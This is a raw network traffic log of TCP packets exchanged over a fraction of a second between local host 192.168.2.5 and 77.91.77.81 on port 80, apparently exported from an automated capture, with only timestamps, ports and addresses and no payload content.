Jul 2, 2024 04:12:14.742022038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742029905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742034912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742053032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742059946 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742063999 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742082119 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742089033 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742094040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742110968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742109060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742124081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742136955 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742139101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742153883 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742161036 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742170095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742180109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742183924 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742196083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742202997 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742213011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742225885 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742240906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.763088942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763111115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763124943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763139009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763150930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763164997 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763222933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763226986 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.763232946 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763238907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763256073 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763309956 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763323069 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763335943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763385057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763389111 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.763389111 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.763395071 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.763428926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.763514996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.798527956 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798538923 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798557043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798578024 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798593044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798610926 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798626900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.798692942 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.798692942 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.798692942 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.798692942 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.799068928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799097061 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799135923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.799210072 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799251080 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.799287081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799300909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799338102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.799410105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799420118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799438953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.799463034 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.799475908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829255104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829266071 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829282999 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829324961 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829353094 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829368114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829381943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829396963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829442978 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829488993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829488993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829488993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829488993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829804897 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829885960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829895020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829917908 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829940081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829943895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829952955 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829958916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829969883 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829977036 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829986095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.829988956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.829998970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830008030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830012083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830022097 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830032110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830039978 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830041885 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830055952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830063105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830068111 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830082893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830084085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830100060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830102921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830112934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830118895 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830122948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830135107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830148935 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830148935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830161095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830173016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830178022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830189943 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830198050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830209017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830219030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830224037 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830243111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830243111 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830255032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830265999 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830271006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830276012 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830282927 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830296993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830302954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830311060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830322027 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830332994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830338955 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830343962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830383062 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830420971 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830430984 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830449104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830457926 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830463886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830473900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830480099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830507040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830554962 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830591917 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830594063 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830605030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830638885 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830666065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830681086 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830693960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830708027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830715895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830733061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830740929 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830750942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830754042 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830766916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830781937 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830785990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830801010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830802917 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830809116 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830826044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830842018 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.830956936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830967903 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830991030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.830998898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831001043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831006050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831021070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831027031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831043959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831058979 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831106901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831120968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831131935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831140041 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831152916 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831167936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831170082 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831182957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831195116 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831214905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831218004 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831224918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831243992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831244946 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831258059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831259966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831273079 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831285954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831289053 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831299067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831307888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831331968 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831500053 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831576109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831593990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831609964 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831615925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831620932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831644058 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831645012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831660986 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831660032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831671000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831685066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831700087 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831701994 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831715107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831727028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831729889 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831743002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831753016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831754923 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831768990 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831768990 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.831782103 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.831799030 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.853904009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.853914976 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.853933096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.853997946 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854012012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854022026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854038954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854048967 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854058027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854091883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854114056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854127884 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854130030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854151011 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854166031 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854172945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854191065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854202032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854203939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854219913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.854223967 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854243994 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.854253054 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.890578032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890592098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890604019 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890624046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890639067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890651941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890666008 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890676975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890691996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890697956 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.890703917 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890719891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890732050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890744925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890760899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.890861988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.890861988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924412966 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924423933 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924439907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924511909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924521923 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924537897 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924552917 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924570084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924582005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924582005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924582005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924608946 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924609900 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924611092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924622059 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924638033 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924640894 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924649000 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924658060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924670935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924674988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924694061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924702883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924876928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924890995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924910069 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924921036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924931049 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924938917 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.924956083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.924973011 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925023079 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925033092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925049067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925055981 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925059080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925070047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925081968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925092936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925097942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925112009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925115108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925129890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925139904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925139904 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925156116 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925162077 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925168991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925185919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925185919 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925195932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925209999 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925215960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925230980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925235987 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925259113 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925282001 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925340891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925350904 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925368071 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925381899 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925398111 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925554991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925620079 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925628901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925652981 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925679922 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.925746918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925759077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925772905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.925782919 CEST	80	49705	77.91.77.81	192.168.2.5
